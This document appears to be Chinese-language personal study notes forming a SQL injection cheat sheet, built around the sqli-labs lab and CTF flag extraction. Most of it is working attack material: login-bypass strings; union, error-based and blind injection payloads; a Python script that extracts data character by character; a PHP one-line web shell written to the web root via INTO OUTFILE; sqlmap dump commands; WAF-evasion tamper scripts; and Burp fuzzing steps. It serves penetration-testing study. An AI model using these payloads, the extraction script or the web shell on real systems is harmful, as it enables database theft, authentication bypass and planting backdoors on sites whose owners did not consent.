备忘
数据库常用注入参数
user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
hex() 和 unhex():用于 hex 编码解码
ascii():返回字符的ascii码
char():把整数转换为对应的字符
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
select xxoo into outfile '路径':权限较高时可直接写文件
concat():拼接数据,如 concat(username,password)是把 username 和 password 拼接起来
concat_ws():用法类似,可以指定分隔符
group_concat():和 concat() 类似,如 group_concat(列名) 是把所有列的数据拼一块
注:区别
concat(str1,str2,…)是将多个字符串连接成一个字符串
concat_ws(separator,str1,str2,…)可以指定分隔符
group_concat()返回字符串结果,该结果由分组中的值连接组合而成
数据库注释
show database(); -- 行内注释
show database(); # 行内注释
/* show database(); 行间注释 */
万能密码
其中替换语句用中括号扩出
admin' #
select * from table where uname='[admin'#]'
admin' /*
select * from table where uname='[admin'/*]'
' or 1=1 #
select * from table where uname='[' or 1=1 #]'
' or 1=1 /*
select * from table where uname='[' or 1=1 /*]'
') or '1'='1 #
select * from table where uname=('[') or '1'='1 #]'
') or ('1'='1--
注入语句
# 数据库名
select database();
select schema_name from information_schema;
# 根据当前数据库名聚合库中表名
select group_concat(table_name) from information_schema.tables where table_schema=database()
# 根据表名聚合列名
select group_concat(column_name) from information_schema.columns where table_name='table_name'
# 根据列名查询所在的表
select table_name from information_schema.columns where column_name = 'column_name';
# 查询列名中包含 flag 关键字的表
select table_name from information_schema.columns where column_name like '%flag%'
注入分类
配环境: sqli-labs
注入步骤
- 判断是否有注入(是否未严格校验)
- 输入的语句能否被后台拼接,影响显示结果
- 输入的SQL语句是否能报错(能通过数据库的报错,看到数据库的一些语句痕迹)
- 输入的SQL语句能否不报错(语句能够成功闭合)
- 判断注入类型
- 语句能否被恶意修改
- 是否能够成功执行
- 获取数据
整型注入
url?id=2 union select 1,2,3 %23 # 1,2,3仅仅是占位作用
group_concat(列名) # 把所有列的数据拼一块
database()
user()
# 判断有几列用 order by,二分法联合查询字段数,观察页面变化从而确定字段数
order by x %23
# 然后用 union
union select 1,2,3...
# 判断字段在第几列使用 and 0,查看显示数据的位置
id=2 and 0 union select 1,2,3 %23
# 根据显示数据的位置拖库
...
字符型注入
字符注入如单引号,双引号等,需要根据语句注入返回的信息构造闭合语句(补充单引号双引号等)达到目的
例一
xxx?id=2', 报错 syntax to use near ''2'' limit 0,1' at line 1
分析:
只要看两个单引号内的 '2'' limit 0,1
2 的后面多了个 ',其中一个是我们自己加的,因此注掉多余的即可,
改为 xxx/?id=1'%23, 不报错,判列、判显示数据位置、拖库
例二
xxx?id=2",报错 syntax to use near '"2"") limit 0,1' at line 1
分析:
择出 "2"") limit 0,1
还原语句 where id = "2"") limit 0,1
在 sql 语句前面可能有一个 ( 来闭合,因此需要补上,也不知道它前面的括号在哪,可以说一下
构造 where id = "(2")#" ==> xxx?id=2")#
或者 where id=("2")#" ==> xxx?id=2")#
POST 注入
burp抓请求重新发
注入分为 GET、POST、COOKIE 注入,当一个站点增加防注入程序后,可以先尝试 GET 和 POST 注入,再尝试 COOKIE 注入,以下是 ASP 和 PHP 数据提交方式
ASP: request(全部接受)、request.querystring(接受get)、request.form(接受post)、request.cookie(接受cookie)
PHP:$_REQUEST(全部接受)、$_GET(接受get)、$_POST(接受POST)、$_COOKIE(接受COOKIE)
报错注入
报错注入是利用报错信息来获取数据库的信息,常用的两个函数为extractvalue()
与updatexml()
extractvalue()
extractvalue(XML_document, XPath_string)
注:
- 该函数从目标 XML 中返回包含所查询的字符串
- 第一个参数XML_document是String格式,为XML文档对象的名称,中文为Doc
- 第二个参数XPath_string(XPath格式的字符串)
例
首先使用 ‘(单引号)来使语句报错,xxx?uname='&passwd=123456&submit=Submit
报错:syntax to use near '123456' limit 0,1' at line 1,看不出sql注入的类型
再加个"(双引号)来看更多信息,xxx?uname=‘“&passwd=123456&submit=Submit
报错:syntax to use near '"' and password='123456' limit 0,1' at line 1,是单引号注入
加 %23(#)测试,xxx?uname=‘%23 &passwd=123456&submit=Submit
不报错
-----------------------------------------------------------
查列:xxx?uname=‘ order by 2 %23 &passwd=123456&submit=Submit
显位:xxx?uname=‘ and 0 union select 1,2 %23
联查:xxx?uname=‘ union select 1, extractvalue(1, (select version())) %23 &passwd=123456&submit=Submit
报错:XPATH syntax error:'.73-community'。
分析:select version()
不符合 XPath语法,肯定报错,进而能够知道select version()
所返回的内容,基于这一点,可以尝试用数据库的各种函数来获取数据库的内容。且发现内容显示不全,可以使用 concat()
拼接字符串,一般我们利用0x7e(即~)
来拼接
xxx?uname=‘ union select 1, extractvalue(1, (concat(0x7e,select version()))) %23 &passwd=123456&submit=Submit
报错:XPATH syntax error:'~5.1.73-community'
接下来只需要更换 select version()
语句即可,在语句中加 limit
以免返回的数据太多,可以一个个查。以下是替换语句
select table_name from information_schema.tables where table_schema = database() limit 0,1
updatexml()
updatexml函数有三个参数,与extractvalue一样,只需要修改中间参数即可 updatexml(1,sql,1)
xxx?uname=‘ union select 1, updatexml(1,concat(0x7e,select version(),1) %23 &passwd=123456&submit=Submit
能够爆出报错信息后,修改version()等即可,看不出sql注入的类型
双注入
xxx?uname=admin'&passwd=123456&submit=Submit
报错:syntax to use near '123456' limit 0,1' at line 1
再加 "(双引号)来看更多信息,xxx?uname=admin‘“&passwd=123456&submit=Submit
报错:syntax to use near '"' and password='123456' limit 0,1' at line 1
"' and password='123456' limit 0,1
说明:uname应该是被单引号包裹的单引号注入(字符型)
改 %23:xxx?uname=admin' %23 &passwd=123456&submit=Submit
省略 order by 的过程
xxx?uname=admin' union select 1,2 %23 &passwd=123456&submit=Submit
此时,发现不报错,只提示成功或者失败,没法根据回显内容来获取数据。因此只能对后面半句的查询再下功夫。
xxx?uname=admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2), database()) % 23 &passwd=123456&submit=Submit
后续可以把 database() 替换掉
其原理是: group by
会生成一张临时表,group by
的时候,游标指向原表中,会去临时表中查找有无包含这个数据的内容,如果有则添加一条数据。我们在这里使用 rand()
函数,用于产生 $ [0,1]$ 之间的随机数,加 floor()
表示取小于等于 x
的最大值,因此,floor(rand()*2)
结果只能为
0
0
0 或
1
1
1。group by
得到的是一个 key,添加到临时表中,在添加时还会再执行一次 floor(rand)
,第二条若 floor(rand)
到相同的结果,这就导致临时表中有两个相同的 key,可能报错
盲注
布尔盲注
看不见数据库报错、看不见数据库返回结果,只能通过页面状态变化来判断字符的数据,应用程序仅仅返回注入成功或注入失败页面
常用函数
length() 返回字符串的长度,例如可以返回数据库名字的长度
substr() ⽤来截取字符串
ascii() 返回字符的ascii码
substr(str, pos)
substr(str, pos, len)
# str 为字符串,pos 为起始位置,len 为截取字符长度
# mysql 中起始位置 pos 是从 1 开始的。若为负数则表示从倒数第几个开始截取
判断注入类型,是数字型注入 or 字符型注入(需要闭合单双引号)
猜数据库名字长度、名字。
# 字符型注入尝试猜测数据库的名字长度从 1 开始不断猜测 1‘ and length(database())=1 # 返回错误 1‘ and length(database())=2 # 返回错误 1‘ and length(database())=3 # 返回错误 1‘ and length(database())=4 # 返回成功,说明数据库名称字符串长度为 4 # 利用利用二分法逐字猜数据库的名字 1‘ and ascii(substr(database(),1,1)) > 97 # 显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值); 1‘ and ascii(substr(database(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值); ...
- 猜表的个数、表名长度、表名
# 首先猜表的数量,原理是利用 count() 函数判断 table_name这个表的数量有几个 1‘ and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在,说明表的数量不为 1 1‘ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在,说明表的数量为 2
# 判断表名长度,先判断一个再判断一个 1‘ and length(substr(表名,1))=9 # 返回正确 填充表名=select table_name from information_schema.tables where table_schema=database() limit 0,1
# 得到表名长度后猜解即可 # 猜解第一个表名的第一个字符长度是否为:g 1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 返回正确 # 猜解第一个表名的第二个字符长度是否为:u 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 # 返回正确 # 猜解第一个表名的第三个字符长度是否为:e 1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 # 返回正确 ... 依次查找表明的每个字符,查完一个表再查一个表
- 猜字段个数、字段长度、字段名
# 判断表 users 的字段数量是否为 8 1‘ and (select count(column_name) from information_schema.columns where table_name='users')=8 # 返回正确
# 判断表 users 表第一个字段的长度 1‘ and length(substr(第一个字段名,1))=7 第一个字段名=select colunm_name from information_schema.tables where table_name='user' limit 0,1 # 判断表 users 表第二个字段的长度 1‘ and length(substr(第二个字段名,1))=8 第一个字段名=select colunm_name from information_schema.tables where table_name='user' limit 1,1 ...依次确定字段长度
# 猜字段名 猜解第二个字段名的第一个字符为:f 1‘ and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=102 # 猜解第二个字段名的第二个字符为:i 1‘ and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=105 #
# 猜字段数据 1‘ and ascii(substr((select user from dvwa.users limit),1,1))=97
以上,手动很麻烦,推荐脚本
import requests
s = requests.Session()
url = 'http://ip:port/index.php'
flag = ''
# 表达式
def expression(i, j):
# 爆库
payload = f"or (ascii(substr((SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA),{i},1))>{j})#"
# 爆表
payload = f"or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='flag'),{i},1))>{j})#"
# 爆字段
payload = f"or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='fllag'),{i},1))>{j})#"
# 爆段内容
payload = f"or (ascii(substr((select group_concat(fllllllag) from flag.fllag),{i},1))>{j})#"
# data 的 key 记得修改,且替换为注入类型
data = {
"uname": "admin\\",
"pwd": payload
}
r = s.post(url, data=data)
if "条件内容" in r.text:
return True
else:
return False
# i 为 substr 的截取位置,mysql 中从 1 开始
# mid 为二分 ascii 编码
for i in range(1, 5000):
low = 32
high = 127
while low <= high:
mid = (low + high) // 2
if expression(i, mid):
low = mid + 1
else:
high = mid - 1
flag += chr((low + high + 1) // 2)
print("flag: ", flag)
"""
'''
select name, pwd from user where name='admin\' and pwd='or 1 #'
=>
修改密码部分的 1 即可
select name, pwd from user where name='admin\' and pwd='or [替换语句] #‘
替换语句,其中 i 为截取位置,j 为 ascii 字符编码
ascii(substr(str,{i},1))>{j}
# 获取所有的 schema
str = select group_concat(schema_name) from information_schema.schema
'''
"""
时间盲注
在注入过程中,无论注入是否成功,页面完全没有变化。只能通过使用数据库的延时函数来判断注入点,一般采用响应时间上的差异来判断是否存在SQL注入
常用函数
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句,如果错误则执⾏第三个语句
注:sleep()
函数执行是有条件的,必须保障 sql 语句执行结果存在数据记录才会停止指定的秒数,如果 sql 语句查询结果为空,那么 sleep 函数不会停止
select username, sleep(3) from users where id=1;
返回 1 row in set(3.00 sec) # 表明查询不为空,sleep()执行,暂停了 3 秒
select username, sleep(3) from users where id=1 and 0;
返回 Empty set(0.00 sec) # 表明查询为空,sleep() 未执行,因此查询时间为 0
示例 :sqli-lab less-9
# 列举数据库名字,m 为起始位置,1 为 只截取一个字符,n 为 ascii值
# 通过这种方式来判断数据库名字
id=1‘ and sleep(3) and ascii(substr(database(),m,1))>n --+
# 列举当前数据库表名
id=1‘ and sleep(3) and ascii(substr(数据库表名,m,1))>n --+
数据库表名 = select table_name from information_schema.tables where table_schema=database() limit a,1
# 列举当前数据库 users 表中字段名
id=1‘ and sleep(3) and ascii(substr(数据库字段名,m,1))>n --+
数据库字段名 = select column_name from information_schema.columns where table_schema='users' limit a,1
# 列举 users 表中各个字段对应的数据
id=1‘ and sleep(3) and ascii(substr((select username from security.users limit a,1),m,1))>n --+
Cookie、HTTP-Referer 注入
Cookie 注入即修改 cookie 的值进行注入,对get和post方式提交的数据进行了过滤,但未对cookie提交的数据进行过滤。利用 burp 抓包修改 Cookie 值重发即可(比如原本在url中拼接的id=xx,放在cookie 中去重发),注入方式同上。
其实整个包里,任何地方都能够产生注入,比如 Host、HTTP-Referer等,需要根据提示信息来确定哪里能够注入
注入如果有逗号,要考虑 insert、update 去拼接
工具:注入中转生成器
SQL 注入读写文件
Load_file(file_name)
:读取文件并返回该文件的内容作为一个字符串。使用条件
- 有读取权限且文件可读
- 欲读取的文件必须在服务器上
- 欲读取文件必须小于 max_allowed_packet
- 必须指定文件完整的路径
xxx?id=1‘ union select 1,2,load_file("C:\\phpStudyB\\WWW\\sqli\\Less-1\\index.php") %23
# 执行后发现数据量太多太复杂,可以hex一下,再去解析
xxx?id=1‘ union select 1,2,hex(load_file("C:\\phpStudyB\\WWW\\sqli\\Less-1\\index.php")) %23
into outfile "路径地址"
:写文件到该路径,例如写一句话木马
# 一句话木马 <?php @eval($_POST[value]); ?>,可以用菜刀连
xxx/?id=1‘)) union select 1,2, "<?php @eval($_POST[value]); ?>" into outfile "C:\\phpStudyB\\WWW\\sqli\\Less-1\\a.php" %23
注:一个反斜杠变为两个反斜杠是为了避免转义
绕过注释符过滤
注释符号是WAF绕过中经常使用的一种方式,注释符号绕过方式主要的作用就是对注入的SQL指令变形和混淆,从而绕过WAF防火墙的过滤。
注释分类:
#
--+
/**/
例:less-23
id=1’ # 提示 near ''1'' limit 0,1' at line 1,认为是单引号注入
id=1’ %23 # 提示 near '' limit 0,1' at line 1
id=1‘” %23 a # 提示 near '"a' limit 0,1' at line 1 说明 # 注释被过滤了
# 改为 --+
id=1‘” --+ a # 提示 near '"a' limit 0,1' at line 1 说明 --+ 也被过滤了
select * from xx where id = '' limit 0,1
# 方法一:构造三个连等,让它不报错
select * from xx where id = ''='' limit 0,1 # id='', ''=''
# 方法二:相当于把前后两个单引号补全,中间再加一个 1=1,利用两个 and
select * from xx where id = ‘1’ and 1=1‘’ limit 0,1“;
即添加了1’ and 1=1‘
# 方法二报错,因为 limit 0,1 不能配合整条SQL语句执行,因此我们替换为
1’ union select 1,2,3‘
# 尝试
xx/?id=1‘ or (1) or ‘ # 不报错
# 但是 or 不显示内容,因此可以使用报错注入 如 extractvalue
xx/?id=1‘ or (extractvalue(1, concat(0x7e,version()))) or ‘
# 这样就可以做很多事了
如果Less-23源代码中闭合方式是('xxx')
这样的,就需要这样构造SQL注入语句进行绕过:
http://www.sqli.com/Less-23/?id=-1') union select 1,version(),3 or ('1')=('1
$sql = select * from xx where id=('-1') union select 1,version(),3 or ('1')=('1')...
绕过后台过滤
- 数字型注入不需要绕过
- 字符型注入
- 单引号/双引号闭合后,需要在后面增加一个单引号/双引号即可
- (’’)单引号加括号这种需要多加一个or (’’)=('1
- ("")双引号加括号这种需要多加一个or ("")=("1
其他过滤
and or 过滤
发现 and or 均被过滤,可以尝试换一种写法,比如&&
、||
,换一种写法来尝试
空格过滤
空格的表示方法。不同系统不同环境对字符的解析不一样,可以都试一遍。
%a0 空格
%09 TAB键(水平)
%0b TAB键(垂直)
%0a 新建一行
%0c 新的一页
%0d return 功能
/**/ 代替空格
SQLMAP
常用参数
-u:指定一个 url 作为目标,如 sqlmap.py -u "www.baidu.com/user.php?id=7"
-v:输出等级,即让 sqlmap 运行时显示输出的信息,一共 7 个等级,默认为 1,通常使用 3,如 -v 3,显示注入使用的攻击荷载
-r :从文件加载HTTP请求,比如通过 burp 抓取请求保存为 a.txt,-r $path/a.txt
-p:指定参数,可以指定 url 里的参数,也可以指定文件里的参数,如 -p uname,pwd
--batch:使用默认配置,从不询问
--dbms:指定数据库,如 --dbms mysql
--risk:执行测试的风险(0-3,默认为1),risk 越高,越慢但是越安全,一般使用 3
--level:执行测试的等级(1-5,默认为1),一般用5
--dbs:列库
--tables:列表,列库后指定库在列表,如 -D database --tables
--dump:拖库,-D database -T table --dump
python sqlmap.py -r ./a.txt --risk 3 --level 5 --batch --dbms mysql -v 3 -p uname,pwd --dbs
python sqlmap.py -r ./a.txt --risk 3 --level 5 --batch --dbms mysql -v 3 -p uname,pwd -D database --tables
python sqlmap.py -r ./a.txt --risk 3 --level 5 --batch --dbms mysql -v 3 -p uname,pwd -D database -T table --dump
目标
即使用 sqlmap 必须提供确定的目标
-d direct:直接连接数据库的连接字符串
-u url, --url=URL:目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url
-l logfile:从 Burp 或者 WebScarab 代理日志文件中分析目标
-x sitemapurl:从远程网站地图(sitemap.xml)文件来解析目标
-m bulkfile:将目标地址保存在文件中,一行为一个URL地址进行批量检测。
-r requestfile:从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443
-g googledork:从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)
-c configfile:从配置ini文件中加载选项
注入
-p TESTPARAMETER:可测试的参数
--skip=SKIP:跳过对给定参数的测试
--dbms=DBMS:强制后端的DBMS为此值
--os=OS:强制后端的DBMS操作系统为这个值
--invalid-bignum:使用大数字使值无效
--invalid-logical:使用逻辑操作使值无效
--invalid-string:使用随机字符串使值无效
--no-escape:关闭字符串逃逸机制
--tamper=TAMPER:使用给定的脚本篡改注入数据
检测
--level=LEVEL:执行测试的等级(1-5,默认为1)
--risk=RISK:执行测试的风险(0-3,默认为1)
--string=STRING:查询时有效时在页面匹配字符串
--not-string=NOT..:当查询求值为无效时匹配的字符串
--regexp=REGEX:查询时有效时在页面匹配正则表达式
枚举
-a, --all:获取所有信息
-b, --banner:获取数据库管理系统的标识
--current-user:获取数据库管理系统当前用户
--current-db:获取数据库管理系统当前数据库
--hostname:获取数据库服务器的主机名称
--is-dba:检测DBMS当前用户是否DBA
--users:枚举数据库管理系统用户
--passwords:枚举数据库管理系统用户密码哈希
--dbs:枚举数据库管理系统数据库
--tables:枚举的DBMS数据库中的表
--columns:枚举DBMS数据库表列
--schema:枚举数据库架构
--count:检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
--dump:转储数据库表项
--dump-all:转储数据库所有表项
--search:搜索列(S),表(S)和/或数据库名称(S)
-D DB:指定数据库名
-T TBL:指定表名
--sql-file=SQLFILE:要执行的SQL文件
其他
--batch:从不询问用户输入,使用所有默认配置。
--skip-waf:跳过WAF/IPS / IDS启发式检测保护
###绕 WAF
https://blog.csdn.net/qq_29277155/article/details/51193071
常用脚本介绍
apostrophemask.py
- 适用数据库:ALL
- 作用:将引号替换为utf-8,用于过滤单引号
- 使用脚本前:
tamper("1 AND '1'='1")
- 使用脚本后:
1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
base64encode.py
- 适用数据库:ALL
- 作用:替换为base64编码
- 使用脚本前:
tamper("1' AND SLEEP(5)#")
- 使用脚本后:
MScgQU5EIFNMRUVQKDUpIw==
multiplespaces.py
- 适用数据库:ALL
- 作用:围绕sql关键字添加多个空格
- 使用脚本前:
tamper('1 UNION SELECT foobar')
- 使用脚本后:
1 UNION SELECT foobar
space2plus.py
- 适用数据库:ALL
- 作用:用加号替换空格
- 使用脚本前:
tamper('SELECT id FROM users')
- 使用脚本后:
SELECT+id+FROM+users
nonrecursivereplacement.py
- 适用数据库:ALL
- 作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
- 使用脚本前:
tamper('1 UNION SELECT 2--')
- 使用脚本后:
1 UNIOUNIONN SELESELECTCT 2--
space2randomblank.py
- 适用数据库:ALL
- 作用:将空格替换为其他有效字符
- 使用脚本前:
tamper('SELECT id FROM users')
- 使用脚本后:
SELECT%0Did%0DFROM%0Ausers
unionalltounion.py
- 适用数据库:ALL
- 作用:将
union allselect
替换为unionselect
- 使用脚本前:
tamper('-1 UNION ALL SELECT')
- 使用脚本后:
-1 UNION SELECT
securesphere.py
适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1 and '0having'='0having'
space2dash.py
- 适用数据库:ALL
- 作用:将空格替换为
--
,并添加一个随机字符串和换行符 - 使用脚本前:
tamper('1 AND 9227=9227')
- 使用脚本后:
1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
space2mssqlblank.py
- 适用数据库:Microsoft SQL Server
- 测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
- 作用:将空格随机替换为其他空格符号
('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
- 使用脚本前:
tamper('SELECT id FROM users')
- 使用脚本后:
SELECT%0Eid%0DFROM%07users
between.py
- 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
- 作用:用
NOT BETWEEN 0 AND #
替换>
- 使用脚本前:
tamper('1 AND A > B--')
- 使用脚本后:
1 AND A NOT BETWEEN 0 AND B--
percentage.py
- 适用数据库:ASP
- 测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
- 作用:在每个字符前添加一个
%
- 使用脚本前:
tamper('SELECT FIELD FROM TABLE')
- 使用脚本后:
%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py
- 适用数据库:MSSQL
- 作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
- 使用脚本前:
tamper('1 AND 9227=9227-- ')
- 使用脚本后:
1 AND 9227=9227-- sp_password
charencode.py
- 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
- 作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
- 使用脚本前:
tamper('SELECT FIELD FROM%20TABLE')
- 使用脚本后:
%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
randomcase.py
- 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
- 作用:随机大小写
- 使用脚本前:
tamper('INSERT')
- 使用脚本后:
INseRt
charunicodeencode.py
- 适用数据库:ASP、ASP.NET
- 测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
- 作用:适用字符串的unicode编码
- 使用脚本前:
tamper('SELECT FIELD%20FROM TABLE')
- 使用脚本后:
%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
space2comment.py
- 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
- 作用:将空格替换为
/**/
- 使用脚本前:
tamper('SELECT id FROM users')
- 使用脚本后:
SELECT/**/id/**/FROM/**/users
equaltolike.py
- 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
- 作用:将
=
替换为LIKE
- 使用脚本前:
tamper('SELECT * FROM users WHERE id=1')
- 使用脚本后:
SELECT * FROM users WHERE id LIKE 1
equaltolike.py
- 测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
- 作用:将
>
替换为GREATEST,绕过对>
的过滤 - 使用脚本前:
tamper('1 AND A > B')
- 使用脚本后:
1 AND GREATEST(A,B+1)=A
ifnull2ifisnull.py
- 适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
- 测试通过数据库:MySQL 5.0 and 5.5
- 作用:将类似于
IFNULL(A, B)
替换为IF(ISNULL(A), B, A)
,绕过对IFNULL
的过滤 - 使用脚本前:
tamper('IFNULL(1, 2)')
- 使用脚本后:
IF(ISNULL(1),2,1)
modsecurityversioned.py
- 适用数据库:MySQL
- 测试通过数据库:MySQL 5.0
- 作用:过滤空格,使用mysql内联注释的方式进行注入
- 使用脚本前:
tamper('1 AND 2>1--')
- 使用脚本后:
1 /*!30874AND 2>1*/--
space2mysqlblank.py
- 适用数据库:MySQL
- 测试通过数据库:MySQL 5.1
- 作用:将空格替换为其他空格符号
('%09', '%0A', '%0C', '%0D', '%0B')
- 使用脚本前:
tamper('SELECT id FROM users')
- 使用脚本后:
SELECT%0Bid%0DFROM%0Cusers
modsecurityzeroversioned.py
- 适用数据库:MySQL
- 测试通过数据库:MySQL 5.0
- 作用:使用内联注释方式
(/*!00000*/)
进行注入 - 使用脚本前:
tamper('1 AND 2>1--')
- 使用脚本后:
1 /*!00000AND 2>1*/--
space2mysqldash.py
- 适用数据库:MySQL、MSSQL
- 作用:将空格替换为
--
,并追随一个换行符 - 使用脚本前:
tamper('1 AND 9227=9227')
- 使用脚本后:
1--%0AAND--%0A9227=9227
bluecoat.py
- 适用数据库:Blue Coat SGOS
- 测试通过数据库:MySQL 5.1,、SGOS
- 作用:在sql语句之后用有效的随机空白字符替换空格符,随后用
LIKE
替换=
- 使用脚本前:
tamper('SELECT id FROM users where id = 1')
- 使用脚本后:
SELECT%09id FROM users where id LIKE 1
versionedkeywords.py
- 适用数据库:MySQL
- 测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
- 作用:注释绕过
- 使用脚本前:
tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
- 使用脚本后:
1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
halfversionedmorekeywords.py
- 适用数据库:MySQL < 5.1
- 测试通过数据库:MySQL 4.0.18/5.0.22
- 作用:在每个关键字前添加mysql版本注释
- 使用脚本前:
tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
- 使用脚本后:
value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
space2morehash.py
- 适用数据库:MySQL >= 5.1.13
- 测试通过数据库:MySQL 5.1.41
- 作用:将空格替换为
#
,并添加一个随机字符串和换行符 - 使用脚本前:
tamper('1 AND 9227=9227')
- 使用脚本后:
1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
apostrophenullencode.py
- 适用数据库:ALL
- 作用:用非法双字节Unicode字符替换单引号
- 使用脚本前:
tamper("1 AND '1'='1")
- 使用脚本后:
1 AND %00%271%00%27=%00%271
appendnullbyte.py
- 适用数据库:ALL
- 作用:在有效载荷的结束位置加载null字节字符编码
- 使用脚本前:
tamper('1 AND 1=1')
- 使用脚本后:
1 AND 1=1%00
chardoubleencode.py
- 适用数据库:ALL
- 作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
- 使用脚本前:
tamper('SELECT FIELD FROM%20TABLE')
- 使用脚本后:
%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
unmagicquotes.py
- 适用数据库:ALL
- 作用:用一个多字节组合
%bf%27
和末尾通用注释一起替换空格 - 使用脚本前:
tamper("1' AND 1=1")
- 使用脚本后:
1%bf%27 AND 1=1--
randomcomments.py
- 适用数据库:ALL
- 作用:用注释符分割sql关键字
- 使用脚本前:
tamper('INSERT')
- 使用脚本后:
I/**/N/**/SERT
Burp Fuzzing
有时候手动注入不知道过滤了哪些关键字,WAF 很严,可以使用 burp 的 fuzz 进行测试。通过Burpsuite Intruder模块
,通过特定设置把子弹(payload)
射向目标(target-site)
。
子弹来源:Fuzzdb,github 上一个专门 fuzz 测试的 payload 库,attack
目录下有针对各种目标的子弹, sql 注入在 sql-injection
目录下。此次测试用到的是 attack/sql-injection/detect/xplatform.txt
步骤
- 抓包,复制报文
burp-->intruder-->Positions-->狙击手(Sniper)
中粘贴报文- 选中参数,点击
添加$
按钮,这样选中的参数就会被标记为payload
的加载位置- 点击
Payloads
选项卡,其中的Payload Option[Simple list](有效载荷选项【简单列表】)
中加载xplatform.txt
,这样子弹就被填充了- 点击
Options
选项卡,设置请求线程数、重试次数、超时时间等等信息,也可以用默认的- 点击
Options
选项卡上方菜单Intruder -> Start attack
,启动!